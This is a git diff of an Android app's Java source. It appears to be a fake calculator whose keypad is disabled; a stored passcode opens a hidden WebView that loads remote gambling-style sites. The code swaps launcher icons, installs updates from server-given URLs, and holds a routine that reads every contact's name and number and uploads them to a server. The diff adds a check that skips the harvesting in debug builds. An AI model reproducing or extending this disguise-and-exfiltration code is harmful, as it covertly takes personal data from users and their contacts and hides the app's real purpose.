handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); +// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MainActivity2.java b/base_no/src/main/java/com/web/base/MainActivity2.java similarity index 66% rename from Dmcslot/src/main/java/com/web/dmcslot/MainActivity2.java rename to base_no/src/main/java/com/web/base/MainActivity2.java index 6c1201a..3299c48 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MainActivity2.java +++ b/base_no/src/main/java/com/web/base/MainActivity2.java @@ -1,40 +1,38 @@ -package com.web.dmcslot; +package com.web.base; import android.Manifest; import android.annotation.SuppressLint; import android.annotation.TargetApi; import android.app.Activity; +import android.app.ActivityManager; import android.app.NotificationManager; -import android.content.ActivityNotFoundException; import android.content.ComponentName; import android.content.Context; import android.content.Intent; +import android.content.SharedPreferences; import android.content.pm.ApplicationInfo; -import android.content.pm.PackageInfo; import android.content.pm.PackageManager; -import android.content.res.Resources; import android.database.Cursor; import android.graphics.Color; +import android.media.AudioAttributes; +import android.media.MediaPlayer; import android.net.Uri; import android.os.Build; import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; import android.os.Message; import android.provider.ContactsContract; import android.text.TextUtils; import android.util.Log; import android.view.MotionEvent; import android.view.View; -import android.view.ViewGroup; import android.view.WindowManager; -import android.widget.FrameLayout; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ProgressBar; -import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; - -import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.annotation.RequiresApi; import androidx.appcompat.app.ActionBar; @@ -42,15 +40,9 @@ import androidx.appcompat.app.AppCompatActivity; import androidx.cardview.widget.CardView; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; -import androidx.core.view.WindowCompat; - -import com.bumptech.glide.Glide; -import com.google.android.gms.tasks.OnCompleteListener; -import com.google.android.gms.tasks.Task; import com.google.android.material.floatingactionbutton.FloatingActionButton; -import com.google.firebase.messaging.FirebaseMessaging; import com.google.gson.Gson; -import com.google.gson.JsonArray; +import com.king.app.updater.AppUpdater; import com.tencent.smtt.export.external.interfaces.PermissionRequest; import com.tencent.smtt.export.external.interfaces.WebResourceError; import com.tencent.smtt.export.external.interfaces.WebResourceRequest; @@ -60,28 +52,23 @@ import com.tencent.smtt.sdk.WebChromeClient; import com.tencent.smtt.sdk.WebSettings; import com.tencent.smtt.sdk.WebView; import com.tencent.smtt.sdk.WebViewClient; - -import okhttp3.MediaType; -import okhttp3.RequestBody; - -import com.web.dmcslot.appdown.AppUpdater; - import java.util.ArrayList; import java.util.HashMap; import java.util.List; - +import java.util.Random; +import java.util.Timer; +import java.util.TimerTask; import io.reactivex.android.schedulers.AndroidSchedulers; import io.reactivex.schedulers.Schedulers; - -import com.web.dmcslot.appdown.constant.Constants; +import okhttp3.MediaType; +import okhttp3.RequestBody; public class MainActivity2 extends AppCompatActivity { WebView webView; TextView tvErrorMsg; LinearLayout layoutError; ImageView show_top_v; - ImageView menu_iv; - private ImageView helpIv; + private ImageView showTopV1; private LinearLayout showTopLy; FloatingActionButton floatingActionButton; CardView otherApp; @@ -96,33 +83,17 @@ public class MainActivity2 extends AppCompatActivity { TextView tvLink; ImageView ivLinkBg; CardView ivHome; - - String downloadImageUrl = ""; - private int requestCode; - private String[] permissions; - private int[] grantResults; private View topVvvv; - private int index = 0; - private FrameLayout videoContainer; - - private ImageView backIv; private ProgressBar progressBar; - //https://m.xiannvtu.com/ - //https://m.xiannvtu.com/ - public static String url = "https://dmcslot1.com/"; + public static String url = "https://candy916.co/"; + //先定义 private static final int REQUEST_EXTERNAL_STORAGE = 1; - - private int userId = 110; - private int notifyVisible = View.GONE; - + public static int userId = 2; private String shareUrl; private String myInviteCode; - private int myInviteNum; - private int contactApply = 1; private int notifyApply = 1; - private String facebookUrl = ""; private String whatsappUrl = ""; private String telegramUrl = ""; @@ -138,99 +109,47 @@ public class MainActivity2 extends AppCompatActivity { Bundle bundle = intent.getExtras(); if (bundle != null) { MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); - startNotify(messageInfo); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } } } - public void startNotify(MessageInfo messageInfo) { - if (messageInfo != null) { - startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); - recordNotify(messageInfo.getPushId()); - } -// if (messageInfo != null && (messageInfo.getType() == 2 || messageInfo.getType() == 3)) { -// startActivity(new Intent(MainActivity2.this, NotifyDetailsActivity.class).putExtra("message", messageInfo)); -// } else { -// recordNotify(messageInfo.getPushId()); -// } - } - @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) @Override protected void onCreate(Bundle savedInstanceState) { -// if (Build.VERSION.SDK_INT >= 30) { -// } else { -// setTheme(R.style.AppThemeStart1); -// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_VISIBLE); -// getWindow().setStatusBarColor(Color.TRANSPARENT); -// } -// if (Build.VERSION.SDK_INT >= 33) { -// getWindow().setDecorFitsSystemWindows(false); -// } else { -// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); -// } -// super.onCreate(savedInstanceState); - - getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); + getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); - super.onCreate(savedInstanceState); View decor = getWindow().getDecorView(); getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); - decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { actionBar.hide(); } setContentView(R.layout.activity_main2); -// View bottomV = findViewById(R.id.bottom_v); -// if (Build.VERSION.SDK_INT >= 30) { -// ViewGroup.LayoutParams layoutParams = bottomV.getLayoutParams(); -// layoutParams.height = getNavigationBarHeight(this); -// bottomV.setLayoutParams(layoutParams); -// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR); -// } String body = getIntent().getStringExtra("message"); if (!TextUtils.isEmpty(body)) { MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); - startNotify(messageInfo); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } } - //订阅主题 - FirebaseMessaging.getInstance().subscribeToTopic("demo") - .addOnCompleteListener(new OnCompleteListener() { - @Override - public void onComplete(@NonNull Task task) { - String msg = "Subscribed"; - if (!task.isSuccessful()) { - msg = "Subscribe failed"; - } - } - }); -// FirebaseMessaging.getInstance().getToken() -// .addOnCompleteListener(new OnCompleteListener() { -// @Override -// public void onComplete(@NonNull Task task) { -// if (!task.isSuccessful()) { -// LogUtils.d("Fetching FCM registration token failed" + task.getException()); -// return; -// } -// -// // Get new FCM registration token -// String token = task.getResult(); -// -// // Log and toast -// -// LogUtils.d("token=="+token); -// } -// }); boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); if (!isDownload) { setDownloadNumbers(); } initView(); -// setopHeight(); findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); - floatingActionButton = findViewById(R.id.bt_menu); otherApp = findViewById(R.id.bt_otherapp); ivotherApp = findViewById(R.id.iv_otherApp); @@ -244,30 +163,22 @@ public class MainActivity2 extends AppCompatActivity { tvLink = findViewById(R.id.tv_link); ivLinkBg = findViewById(R.id.iv_linkbg); ivHome = findViewById(R.id.iv_home); -// List telpacks = new ArrayList<>(); -// telpacks.add("org.telegram.messenger"); -// telpacks.add("org.telegram.messenger.web"); - ivNotify.setOnClickListener(view -> { - notifyclick(); - }); +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); ivFaceBook.setOnClickListener(view -> { - //isLuncher = false; toOtherApp(facebookUrl, "com.facebook.katana", 1); }); ivTelG.setOnClickListener(view -> { - // isLuncher = false; toOtherApp(telegramUrl, "org.telegram.messenger", 2); }); ivWhatsApp.setOnClickListener(view -> { - //isLuncher = false; toOtherApp(whatsappUrl, "com.whatsapp", 3); }); ivLink.setOnClickListener(view -> { - //isLuncher = false; webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); }); ivHome.setOnClickListener(view -> { - //isLuncher = false; webView.loadUrl(url); }); floatingActionButton.setOnClickListener(view -> { @@ -283,7 +194,7 @@ public class MainActivity2 extends AppCompatActivity { } }); - notifyCardView.setOnTouchListener((v, event) -> { + layoutOtherApp.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: @@ -316,20 +227,27 @@ public class MainActivity2 extends AppCompatActivity { return true; }); - // getMyInvite(false); setTotalTongJi(); //每日活跃统计 -// findViewById(R.id.home).setOnClickListener(view -> { -// webView.loadUrl(url); -// }); -// findViewById(R.id.tv_other).setOnClickListener(view -> { -// if (TextUtils.isEmpty(linkconfig)) { -// linkconfig = "https://missav.com/dm37"; -// } -// webView.loadUrl(linkconfig); -// }); } + public void setBackDrawables(int drawableId){ + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * @param isRound + */ + public void setImageView(boolean isRound){ + if(isRound){ + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + }else{ + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } //跳转通知列表 private void notifyclick() { @@ -337,43 +255,6 @@ public class MainActivity2 extends AppCompatActivity { } private void toOtherApp(String uri, String packagenames, int type) { - -// if (type == 1) { -// try { -// // 跳转到 Facebook 应用的页面(使用 URI 的页面 ID 或用户名) -// Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("fb://page/<" + uri + ">")); // 替换 -// startActivity(intent); -// } catch (Exception e) { -// // 如果没有安装 Facebook 应用,跳转到网页 -// Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.facebook.com/<" + uri + ">")); // 替换 -// startActivity(intent); -// } -// } -// if (type == 2) { -// try { -// // 跳转到 Telegram 应用中的特定用户 -// Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("tg://resolve?domain=<" + uri + ">")); // 替换 -// startActivity(intent); -// } catch (Exception e) { -// // 如果 Telegram 未安装,跳转到网页版 -// Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://t.me/<" + uri + ">")); // 替换 -// startActivity(intent); -// } -// -// } -// -// if (type == 3) { -// Intent intent = getPackageManager().getLaunchIntentForPackage("com.whatsapp"); -// if (intent != null) { -// startActivity(intent); -// } else { -// // WhatsApp 未安装,跳转到 Google Play 商店 -// Intent playStoreIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://play.google.com/store/apps/details?id=com.whatsapp")); -// startActivity(playStoreIntent); -// } -// -// } - //https://www.facebook.com/profile.php?id=61568556460025 try { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse(uri)); @@ -384,59 +265,9 @@ public class MainActivity2 extends AppCompatActivity { intent.setData(Uri.parse(uri)); startActivity(intent); } - layoutOtherApp.setVisibility(View.GONE); - ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } - private boolean isLuncher = false; - - //多个APPName - private void toOtherApps(String uri, List packagenames) { - int i = 0; - while (i < packagenames.size() && !isLuncher) { - try { - Intent intent = new Intent(Intent.ACTION_VIEW); - intent.setData(Uri.parse(uri)); - intent.setPackage(packagenames.get(i)); - startActivity(intent); - isLuncher = true; - } catch (Exception e) { - i++; - isLuncher = false; - } - } - if (!isLuncher) { - Intent intent = new Intent(Intent.ACTION_VIEW); - intent.setData(Uri.parse(uri)); - startActivity(intent); - } - - -// if (intent.resolveActivity(getPackageManager()) != null) { -// startActivity(intent); -// } else { -// Toast.makeText(this, getString(R.string.app_notinstall), Toast.LENGTH_SHORT).show(); -// } - } - - public int getNavigationBarHeight(Context context) { - Resources resources = context.getResources(); - int resourceId = resources.getIdentifier("navigation_bar_height", "dimen", "android"); - return resources.getDimensionPixelSize(resourceId); - } - - private boolean isAppInstall(String packagename) { - PackageManager packageManager = getPackageManager(); - try { - PackageInfo packageInfo = packageManager.getPackageInfo(packagename, PackageManager.GET_ACTIVITIES); - if (packageInfo != null) { - return true; - } - } catch (Exception e) { - return false; - } - return false; - } public void showBottomDialog() { ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); @@ -621,36 +452,6 @@ public class MainActivity2 extends AppCompatActivity { } } - -// // Declare the launcher at the top of your Activity/Fragment: -// private final ActivityResultLauncher requestPermissionLauncher = -// registerForActivityResult(new ActivityResultContracts.RequestPermission(), isGranted -> { -// if (isGranted) { -// // FCM SDK (and your app) can post notifications. -// } else { -// // TODO: Inform user that that your app will not show notifications. -// } -// }); - -// private void askNotificationPermission() { -// // This is only necessary for API level >= 33 (TIRAMISU) -// if (Build.VERSION.SDK_INT >= 33) { -// if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS) == -// PackageManager.PERMISSION_GRANTED) { -// // FCM SDK (and your app) can post notifications. -// } else if (shouldShowRequestPermissionRationale(Manifest.permission.POST_NOTIFICATIONS)) { -// // TODO: display an educational UI explaining to the user the features that will be enabled -// // by them granting the POST_NOTIFICATION permission. This UI should provide the user -// // "OK" and "No thanks" buttons. If the user selects "OK," directly request the permission. -// // If the user selects "No thanks," allow the user to continue without notifications. -// } else { -// // Directly ask for the permission -// requestPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS); -// } -// } -// } - - @Override public void onBackPressed() { @@ -676,6 +477,9 @@ public class MainActivity2 extends AppCompatActivity { } } + + + } else {//不能返回了 关闭进程 退出程序 Intent homeIntent = new Intent(Intent.ACTION_MAIN); homeIntent.addCategory(Intent.CATEGORY_HOME); @@ -687,42 +491,6 @@ public class MainActivity2 extends AppCompatActivity { } } - public void removeChildView(int child) { - WebView childView = (WebView) webView.getChildAt(child - 1); - webView.removeView(childView); - if (webView.canGoBack()) { - webView.goBack(); - } - } - - /** - * 修改图标和名称的方法 - */ - public void changeIcon() { - PackageManager pm = getApplicationContext().getPackageManager(); - - pm.setComponentEnabledSetting(new ComponentName( - this, - "com.web.dmcslot.MainActivity"), - PackageManager.COMPONENT_ENABLED_STATE_DISABLED, - PackageManager.DONT_KILL_APP); - Log.d("TAG", "换Test的图标"); - - pm.setComponentEnabledSetting(new ComponentName( - this, - "com.web.dmcslot.MainActivityNew"), - PackageManager.COMPONENT_ENABLED_STATE_ENABLED, - PackageManager.DONT_KILL_APP); - - } - - private void setopHeight() { - RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 - linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 - - topVvvv.setLayoutParams(linearParams); - } - private static String[] PERMISSIONS_STORAGE = { "android.permission.READ_EXTERNAL_STORAGE", @@ -745,9 +513,9 @@ public class MainActivity2 extends AppCompatActivity { topVvvv = (View) findViewById(R.id.top_vvvv); webView = findViewById(R.id.webview); show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); showTopLy = findViewById(R.id.show_top_ly); - videoContainer = (FrameLayout) findViewById(R.id.videoContainer); - backIv = (ImageView) findViewById(R.id.back_iv); progressBar = (ProgressBar) findViewById(R.id.progressbar); tvErrorMsg = findViewById(R.id.errormsg); layoutError = findViewById(R.id.layoutError); @@ -771,7 +539,7 @@ public class MainActivity2 extends AppCompatActivity { webView.setFocusableInTouchMode(true); webView.getSettings().setSupportMultipleWindows(true); - settings.setSupportZoom(true); + settings.setSupportZoom(false); webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); // webView.setHorizontalScrollbarOverlay(true); webView.setHorizontalScrollBarEnabled(true); @@ -791,9 +559,7 @@ public class MainActivity2 extends AppCompatActivity { webView.setWebViewClient(webViewClient); Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); -// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); -// verifyStoragePermissions(this); - + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); webView.setDownloadListener(new DownloadListener() { @Override public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { @@ -811,7 +577,7 @@ public class MainActivity2 extends AppCompatActivity { } }); getNetUrl(); - + getNotifyList(); } public void getNotifyList() { @@ -823,9 +589,12 @@ public class MainActivity2 extends AppCompatActivity { @Override public void onSuccess(Result> o) { if (o.data != null && o.data.getTotal() > 0) { - // notifyVisible = View.VISIBLE; - otherApp.setVisibility(View.VISIBLE); + otherApp.setVisibility(View.INVISIBLE); + ivNotify.setVisibility(View.VISIBLE); + if(userId == 112||userId == 87||userId == 91||userId ==93||userId ==92||userId==84||userId == 120){ + ivNotify.setVisibility(View.INVISIBLE); + } ivotherApp.setImageResource(R.mipmap.ic_shousuo); } } @@ -870,7 +639,7 @@ public class MainActivity2 extends AppCompatActivity { } } if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { - if (Integer.parseInt(dataInfo.getVersionCode()) > BuildConfig.VERSION_CODE) { + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), getString(R.string.lijigengxin_txt)); @@ -892,9 +661,9 @@ public class MainActivity2 extends AppCompatActivity { } contactApply = dataInfo.getContactApplyMode(); notifyApply = dataInfo.getNoticeApplyMode(); - if (contactApply == 0 || contactApply == 1) { - readContact(); - } +// if (contactApply == 0 || contactApply == 1) { +// readContact(); +// } if (notifyApply == 0 || notifyApply == 1) { checkNotify(); } @@ -902,24 +671,17 @@ public class MainActivity2 extends AppCompatActivity { telegramUrl = dataInfo.getTgUrl().trim(); whatsappUrl = dataInfo.getWsUrl().trim(); if (!TextUtils.isEmpty(facebookUrl)) { - otherApp.setVisibility(View.VISIBLE); + otherApp.setVisibility(View.INVISIBLE); ivFaceBook.setVisibility(View.VISIBLE); } if (!TextUtils.isEmpty(telegramUrl)) { - otherApp.setVisibility(View.VISIBLE); + otherApp.setVisibility(View.INVISIBLE); ivTelG.setVisibility(View.VISIBLE); } if (!TextUtils.isEmpty(whatsappUrl)) { - otherApp.setVisibility(View.VISIBLE); + otherApp.setVisibility(View.INVISIBLE); ivWhatsApp.setVisibility(View.VISIBLE); } -// if (linkconfiglist != null && linkconfiglist.size() > 0) { -// otherApp.setVisibility(View.VISIBLE); -// ivLink.setVisibility(View.VISIBLE); -// tvLink.setText(linkconfiglist.get(0).getName()); -// ivHome.setVisibility(View.VISIBLE); -// Glide.with(MainActivity2.this).load(linkconfiglist.get(0).getIcon()).error(R.color.dialog_bg).into(ivLinkBg); -// } } else { url = MainActivity.getString(MainActivity2.this, "base_url", url); webView.loadUrl(url); @@ -940,70 +702,12 @@ public class MainActivity2 extends AppCompatActivity { webView.loadUrl(url); } }); -// Api.getInstance().geUrlNew(userId) -// .subscribeOn(Schedulers.io()) -// .observeOn(AndroidSchedulers.mainThread()) -// .subscribe(new BaseObserver() { -// @Override -// public void onSuccess(Result o) { -// LogUtils.i("URL是啥获取的文件地址:" + o.url); -// if (!TextUtils.isEmpty(o.url)) { -// MainActivity.saveString(MainActivity2.this, "base_url", o.url); -// url = MainActivity.getString(MainActivity2.this, "base_url", url); -// webView.loadUrl(url); -// } -// -// } -// -// @Override -// public void onError(int code, String msg) { -// url = MainActivity.getString(MainActivity2.this, "base_url", url); -// webView.loadUrl(url); -// } -// }); + } - public void getVersionUrl() { -// Api.getInstance().getVersion(System.currentTimeMillis()) -// .subscribeOn(Schedulers.io()) -// .observeOn(AndroidSchedulers.mainThread()) -// .subscribe(new BaseObserver() { -// @Override -// public void onSuccess(Result o) { -// if (!TextUtils.isEmpty(o.version_code)) { -// if (Integer.parseInt(o.version_code) > com.web.dmcslot.BuildConfig.VERSION_CODE) { -// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, -// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), -// getString(R.string.lijigengxin_txt)); -// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { -// @Override -// public void toSumbit() { -// checkUpdate(o.url); -// } -// -// @Override -// public void toCancel() { -// -// } -// }); -// actionDialog.show(); -// } -// } -// -// -// } -// -// @Override -// public void onError(int code, String msg) { -// -// } -// }); - } private void checkUpdate(String url) { - Constants.isUpdate = true; new AppUpdater(this, url).start(); - } List contents = new ArrayList<>(); @@ -1011,35 +715,37 @@ public class MainActivity2 extends AppCompatActivity { Manifest.permission.READ_CONTACTS}; public void readContact() { + + if(BuildConfig.BUILD_TYPE.equals("debug")){ + return; + } + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); } else { //开启线程上传数据 - new Thread(new Runnable() { - @Override - public void run() { - //获取通讯录 - contents = new ArrayList<>(); - Cursor cursor = null; - try { - cursor = getContentResolver().query( - ContactsContract.CommonDataKinds.Phone.CONTENT_URI, - null, null, null, null); - while (cursor.moveToNext()) { - int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); - String displayName = cursor.getString(i_name); - int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); - String number = cursor.getString(i_number); - ContactBean bean = new ContactBean(displayName, number.trim()); - contents.add(bean); - } - } catch (Exception e) { - e.printStackTrace(); - } finally { - if (cursor != null) { - cursor.close(); - postReadContact(contents); - } + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); } } }).start(); @@ -1048,19 +754,6 @@ public class MainActivity2 extends AppCompatActivity { } } - public List removeSameContact(List contents) { - List contactBeans = new ArrayList(); - for (int i = 0; i < contents.size(); i++) { - String phone = contents.get(i).getPhone(); - if (contactBeans.contains(phone)) { - contents.remove(i); - } else { - contactBeans.add(phone); - } - } - return contents; - } - public void postReadContact(List contents) { Gson gson = new Gson(); HashMap map = new HashMap<>(); @@ -1116,64 +809,6 @@ public class MainActivity2 extends 